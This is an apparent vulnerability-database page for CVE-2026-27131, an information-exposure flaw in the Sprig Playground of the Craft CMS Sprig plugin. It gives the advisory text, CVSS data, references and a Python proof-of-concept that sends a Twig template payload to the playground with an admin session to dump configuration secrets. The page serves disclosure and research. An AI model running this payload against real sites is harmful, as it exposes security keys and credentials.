CVE-2026-27131

Description

The Sprig Plugin for Craft CMS is a reactive Twig component framework for Craft CMS. Starting in version 2.0.0 and prior to versions 2.15.2 and 3.15.2, admin users, and users with explicit permission to access the Sprig Playground, could potentially expose the security key, credentials, and other sensitive configuration data, in addition to running the `hashData()` signing function. This issue was mitigated in versions 3.15.2 and 2.15.2 by disabling access to the Sprig Playground entirely when `devMode` is disabled, by default. It is possible to override this behavior using a new `enablePlaygroundWhenDevModeDisabled` that defaults to `false`.

CVSS Details

CVSS Score

5.5

Severity

MEDIUM

CVSS Vector

CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:L/A:N

Configurations (Affected Products)

No configuration data available.

putyourlightson/craft-sprig >= 2.0.0, < 2.15.2

putyourlightson/craft-sprig >= 3.0.0, < 3.15.2

PoC / Exploit Code

⚠ For Security Research Only

The following code is for security research and authorized testing only.

python

# Proof of Concept (Conceptual)
# This script simulates an authenticated admin accessing the Sprig Playground
# to dump sensitive configuration data using Twig syntax.

import requests

def exploit_sprig_playground(target, session_cookie):
    # The endpoint might vary based on configuration, usually under /admin or specific plugin routes
    url = f"{target}/admin/sprig/playground/validate" 
    
    # Headers mimicking a legitimate browser request
    headers = {
        "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36",
        "Content-Type": "application/x-www-form-urlencoded"
    }

    # Payload designed to access Craft CMS configuration
    # Accessing craft.app.config.general reveals DB settings, security keys, etc.
    payload_data = {
        "template": "{{ craft.app.config.general | json_encode }}",
        "params": "{}"
    }

    try:
        response = requests.post(url, headers=headers, cookies=session_cookie, data=payload_data)
        if response.status_code == 200:
            print("[+] Successfully accessed Sprig Playground.")
            print("[+] Sensitive Configuration Data:")
            print(response.text)
        else:
            print(f"[-] Failed to exploit. Status Code: {response.status_code}")
    except Exception as e:
        print(f"[!] Error: {e}")

if __name__ == "__main__":
    # Example usage
    target = "http://craft-cms-site.com"
    # Requires a valid authenticated admin session cookie
    session = {"PHPSESSID": "valid_admin_session_id_here"} 
    exploit_sprig_playground(target, session)

References

[1] CVE.org https://www.cve.org/CVERecord?id=CVE-2026-27131
[2] NVD NIST https://nvd.nist.gov/vuln/detail/CVE-2026-27131
[3] CVE Details https://www.cvedetails.com/cve/CVE-2026-27131/
[4] VulDB https://vuldb.com/cve/CVE-2026-27131
[5] https://github.com/putyourlightson/craft-sprig/commit/09c9da2ffb45a8857829f3390ae2578e26cfe03b
[6] https://github.com/putyourlightson/craft-sprig/commit/db18c46f6dc5603828aa321a3a615adbd677d475
[7] https://github.com/putyourlightson/craft-sprig/security/advisories/GHSA-m59h-42jf-cphr

Raw JSON Data

JSON

{"cve": {"id": "CVE-2026-27131", "sourceIdentifier": "[email protected]", "published": "2026-03-23T20:16:25.240", "lastModified": "2026-04-15T15:45:46.430", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "The Sprig Plugin for Craft CMS is a reactive Twig component framework for Craft CMS. Starting in version 2.0.0 and prior to versions 2.15.2 and 3.15.2, admin users, and users with explicit permission to access the Sprig Playground, could potentially expose the security key, credentials, and other sensitive configuration data, in addition to running the `hashData()` signing function. This issue was mitigated in versions 3.15.2 and 2.15.2 by disabling access to the Sprig Playground entirely when `devMode` is disabled, by default. It is possible to override this behavior using a new `enablePlaygroundWhenDevModeDisabled` that defaults to `false`."}, {"lang": "es", "value": "El plugin Sprig para Craft CMS es un framework de componentes Twig reactivo para Craft CMS. A partir de la versión 2.0.0 y antes de las versiones 2.15.2 y 3.15.2, los usuarios administradores, y los usuarios con permiso explícito para acceder al Sprig Playground, podrían exponer potencialmente la clave de seguridad, las credenciales y otros datos de configuración sensibles, además de ejecutar la función de firma 'hashData()'. Este problema se mitigó en las versiones 3.15.2 y 2.15.2 al deshabilitar completamente el acceso al Sprig Playground cuando 'devMode' está deshabilitado, por defecto. Es posible anular este comportamiento utilizando una nueva 'enablePlaygroundWhenDevModeDisabled' que por defecto es 'false'."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:L/A:N", "baseScore": 5.5, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "HIGH", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 1.2, "impactScore": 4.2}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-200"}, {"lang": "en", "value": "CWE-489"}]}], "references": [{"url": "https://github.com/putyourlightson/craft-sprig/commit/09c9da2ffb45a8857829f3390ae2578e26cfe03b", "source": "[email protected]"}, {"url": "https://github.com/putyourlightson/craft-sprig/commit/db18c46f6dc5603828aa321a3a615adbd677d475", "source": "[email protected]"}, {"url": "https://github.com/putyourlightson/craft-sprig/security/advisories/GHSA-m59h-42jf-cphr", "source": "[email protected]"}]}}